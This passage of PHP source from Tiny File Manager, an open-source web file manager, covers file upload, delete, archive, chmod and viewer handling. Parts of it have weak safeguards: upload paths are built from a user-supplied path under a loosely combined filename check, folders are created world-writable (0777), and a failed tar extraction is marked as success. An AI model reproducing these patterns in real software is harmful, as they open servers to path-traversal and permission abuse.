    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',',
FM_UPLOAD_EXTENSION) : false;
    $response = array (
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ?
strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if(!fm_isvalid_filename($filename) &&
!fm_isvalid_filename($fullPathInput)) {
        $response = array (
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response); exit();
    }

    $targetPath = $path . $ds;
    if ( is_writable($targetPath) ) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) &&
!empty($tmp_name) && $tmp_name != 'none' &&
$isFileAllowed) {
            if ($chunkTotal){
                $out = @fopen("{$fullPath}.part", $chunkIndex ==
0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround
https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff ===
'') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array (
                            'status'    =>
'success',
                            'info' => "file upload
successful"
                        );
                    } else {
                        $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output
stream",
                        'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload
successful"
                    );
                } else {
                    $response = array (
                        'status'    => 'error',
                        'info' => "failed to open output
stream"
                        );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists ($fullPath)) {
                        $ext_1 = $ext ? '.'.$ext : '';
                        $fullPathTarget = $path . '/' .
basename($fullPathInput, $ext_1) .'_'. date('ymdHis').
$ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }

            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if ( file_exists($fullPath) ) {
                    $response = array (
                        'status'    => 'success',
                        'info' => "file upload
successful"
                    );
                } else {
                    $response = array (
                        'status' => 'error',
                        'info'   => 'Couldn\'t
upload the requested file.'
                    );
                }
            } else {
                $response = array (
                    'status'    => 'error',
                    'info'      => "Error while uploading
files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array (
            'status' => 'error',
            'info'   => 'The specified folder for upload
isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'],
$_POST['token']) && !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder
deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'),
'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) &&
(isset($_POST['zip']) || isset($_POST['tar']))
&& !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' :
'zip';

    if (($ext == "zip" &&
!class_exists('ZipArchive')) || ($ext == "tar"
&& !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not
available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach($files as $file){
        array_push($sanitized_files, fm_clean_path($file));
    }
    
    $files = $sanitized_files;
    
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' .
date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') .
'.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive').'
<b>%s</b> '.lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'),
'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) &&
!FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' .
$unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" &&
!class_exists('ZipArchive')) || ($ext == "tar"
&& !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not
available'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path,null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'),
'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) &&
!FM_READONLY && !FM_IS_WIN) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }
    
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file)
&& !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'),
'error');
    }

    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) ===
'.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.'
&& $file != '..' && fm_is_exclude_items($file))
{
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x =
".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo
fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active"
href="#fileUploader"
data-target="#fileUploader"><i class="fa
fa-arrow-circle-o-up"></i> <?php echo
lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link"
href="#urlUploader" class="js-url-upload"
data-target="#urlUploader"><i class="fa
fa-link"></i> <?php echo lng('Upload from URL')
?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>"
class="float-right"><i class="fa
fa-chevron-circle-left go-back"></i> <?php echo
lng('Back')?></a>
                    <strong><?php echo
lng('DestinationFolder') ?></strong>: <?php echo
fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo
htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH)
?>" class="dropzone card-tabs-container"
id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p"
value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden"
name="fullpath" id="fullpath" value="<?php echo
fm_enc(FM_PATH) ?>">
                    <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file"
type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container
hidden" id="urlUploader">
                    <form id="js-form-url-upload"
class="row row-cols-lg-auto g-3 align-items-center"
onsubmit="return upload_from_url(this);" method="POST"
action="">
                        <input type="hidden"
name="type" value="upload"
aria-label="hidden" aria-hidden="true">
                        <input type="url"
placeholder="URL" name="uploadurl" required
class="form-control" style="width: 80%">
                        <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                        <button type="submit" class="btn
btn-primary ms-3"><?php echo lng('Upload')
?></button>
                        <div
class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list"
class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles : "<?php echo getUploadExt()
?>",
            init: function () {
                this.on("sending", function (file, xhr, formData)
{
                    let _path = (file.fullPath) ? file.fullPath :
file.name;
                    document.getElementById("fullpath").value =
_path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if(_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ?
$_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme();
?>">
            <div class="card-header">
                <h6><?php echo lng('Copying')
?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p"
value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden"
name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden"
name="file[]" value="' . fm_enc($cf) .
'">' . PHP_EOL;
                    }
                    ?>
                    <p
class="break-word"><strong><?php echo
lng('Files') ?></strong>: <b><?php echo
implode('</b>, <b>', $copy_files)
?></b></p>
                    <p
class="break-word"><strong><?php echo
lng('SourceFolder') ?></strong>: <?php echo
fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH))
?><br>
                        <label
for="inp_copy_to"><strong><?php echo
lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input
type="text" name="copy_to" id="inp_copy_to"
value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox
custom-control"><input type="checkbox"
name="move" value="1" id="js-move-files"
class="custom-control-input"><label
for="js-move-files" class="custom-control-label
ms-2"> <?php echo lng('Move')
?></label></p>
                    <p>
                        <b><a href="?p=<?php echo
urlencode(FM_PATH) ?>" class="btn
btn-outline-danger"><i class="fa
fa-times-circle"></i> <?php echo lng('Cancel')
?></a></b>&nbsp;
                        <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                        <button type="submit" class="btn
btn-success"><i class="fa
fa-check-circle"></i> <?php echo lng('Copy')
?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) &&
!isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/'
. $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo
fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy))
?><br>
            <strong>Destination folder:</strong> <?php echo
fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH)
?>&amp;copy=<?php echo urlencode($copy)
?>&amp;finish=1"><i class="fa
fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH)
?>&amp;copy=<?php echo urlencode($copy)
?>&amp;finish=1&amp;move=1"><i class="fa
fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH)
?>" class="text-danger"><i class="fa
fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder')
?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo
urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy)
?>"><i class="fa
fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo
urlencode(trim(FM_PATH . '/' . $f, '/'))
?>&amp;copy=<?php echo urlencode($copy) ?>"><i
class="fa fa-folder-o"></i> <?php echo
fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme();
?>">
            <h6 class="card-header d-flex
justify-content-between">
                <span><i class="fa fa-cog"></i>
 <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>"
class="text-danger"><i class="fa
fa-times-circle-o"></i> <?php echo
lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form"
action="" method="post" data-type="ajax"
onsubmit="return save_settings(this)">
                    <input type="hidden" name="type"
value="settings" aria-label="hidden"
aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language"
class="col-sm-3 col-form-label"><?php echo
lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select"
id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ?
'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option
value='$k'
".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report"
class="col-sm-3 col-form-label"><?php echo
lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check
form-switch">
                              <input class="form-check-input"
type="checkbox" role="switch"
id="js-error-report" name="js-error-report"
value="true" <?php echo $report_errors ? 'checked' :
''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden"
class="col-sm-3 col-form-label"><?php echo
lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check
form-switch">
                              <input class="form-check-input"
type="checkbox" role="switch"
id="js-show-hidden" name="js-show-hidden"
value="true" <?php echo $show_hidden_files ?
'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols"
class="col-sm-3 col-form-label"><?php echo
lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check
form-switch">
                              <input class="form-check-input"
type="checkbox" role="switch"
id="js-hide-cols" name="js-hide-cols"
value="true" <?php echo $hide_Cols ? 'checked' :
''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1"
class="col-sm-3 col-form-label"><?php echo
lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100"
id="js-3-0" name="js-theme-3">
                                <option value='light' <?php
if($theme == "light"){echo "selected";}
?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php
if($theme == "dark"){echo "selected";}
?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit"
class="btn btn-success"> <i class="fa
fa-check-circle"></i> <?php echo lng('Save');
?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme();
?>">
            <h6 class="card-header d-flex
justify-content-between">
                <span><i class="fa
fa-exclamation-circle"></i> <?php echo
lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>"
class="text-danger"><i class="fa
fa-times-circle-o"></i> <?php echo
lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a
href="https://github.com/prasathmani/tinyfilemanager"
target="_blank" class="app-v-title"> Tiny File
Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a
href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a>
</p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group
list-group-flush">
                                <li
class="list-group-item"><a
href="https://github.com/prasathmani/tinyfilemanager/wiki"
target="_blank"><i class="fa
fa-question-circle"></i> <?php echo lng('Help
Documents') ?> </a> </li>
                                <li
class="list-group-item"><a
href="https://github.com/prasathmani/tinyfilemanager/issues"
target="_blank"><i class="fa
fa-bug"></i> <?php echo lng('Report Issue')
?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li
class="list-group-item"><a
href="javascript:show_new_pwd();"><i class="fa
fa-lock"></i> <?php echo lng('Generate new password
hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline"
onsubmit="return new_password_hash(this)" method="POST"
action="">
                            <input type="hidden"
name="type" value="pwdhash"
aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label
for="staticEmail2"><?php echo lng('Generate new
password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3
mb-2">
                                <label for="inputPassword2"
class="sr-only"><?php echo lng('Password')
?></label>
                                <input type="text"
class="form-control btn-sm" id="inputPassword2"
name="inputPassword2" placeholder="<?php echo
lng('Password') ?>" required>
                            </div>
                            <button type="submit"
class="btn btn-success btn-sm mb-2"><?php echo
lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control"
rows="2" readonly
id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) ||
!fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' .
urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ?
'/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false'
&& in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0,
4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo
lng($view_title) ?> "<?php echo fm_enc(fm_convert_win($file))
?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path);
?>
                <strong><?php echo
$display_path['label']; ?>:</strong> <?php echo
$display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo
($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize;
?><br>
                <strong>MIME-type:</strong> <?php echo
$mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false)
{
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>:
<?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>:
<?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>:
<?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>:
<?php echo round(($total_comp / max($total_uncomp, 1)) * 100)
?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image
size').':</strong> ' . (isset($image_size[0]) ?
$image_size[0] : '0') . ' x ' . (isset($image_size[1])
? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC,
'UTF-8//IGNORE', $content);
                        }
                    }
                    echo
'<strong>'.lng('Charset').':</strong>
' . ($is_utf8 ? 'utf-8' : '8 bit') .
'<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline
ms-2" action="?p=<?php echo urlencode(FM_PATH)
?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                    <button type="submit" class="btn
btn-link text-decoration-none fw-bold p-0"><i class="fa
fa-cloud-download"></i> <?php echo
lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php
echo fm_enc($file_url) ?>" target="_blank"><i
class="fa fa-external-link-square"></i> <?php echo
lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY && ($is_zip || $is_gzip)
&& $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline
ms-2">
                        <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                        <input type="hidden"
name="unzip" value="<?php echo urlencode($file);
?>">
                        <button type="submit" class="btn
btn-link text-decoration-none fw-bold p-0" style="font-size:
14px;"><i class="fa fa-check-circle"></i>
<?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline
ms-2">
                        <input type="hidden"
name="token" value="<?php echo
$_SESSION['token']; ?>">
                        <input type="hidden"
name="unzip" value="<?php echo urlencode($file);
?>">
                        <input type="hidden"
name="tofolder" value="1">
                        <button type="submit" class="btn
btn-link text-decoration-none fw-bold p-0" style="font-size:
14px;" title="UnZip to <?php echo fm_enc($zip_name)
?>"><i class="fa fa-check-circle"></i>
<?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text && !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a
href="?p=<?php echo urlencode(trim(FM_PATH))
?>&amp;edit=<?php echo urlencode($file) ?>"
class="edit-file"><i class="fa
fa-pencil-square"></i> <?php echo lng('Edit')
?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a
href="?p=<?php echo urlencode(trim(FM_PATH))
?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i
class="fa fa-pencil-square-o"></i> <?php echo
lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a
href="?p=<?php echo urlencode(FM_PATH) ?>"><i
class="fa fa-chevron-circle-left go-back"></i> <?php
echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe
src="https://docs.google.com/viewer?embedded=true&hl=en&url='
. fm_enc($file_url) . '" frameborder="no"
style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe
src="https://view.officeapps.live.com/op/embed.aspx?src=' .
fm_enc($file_url) . '" frameborder="no"
style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
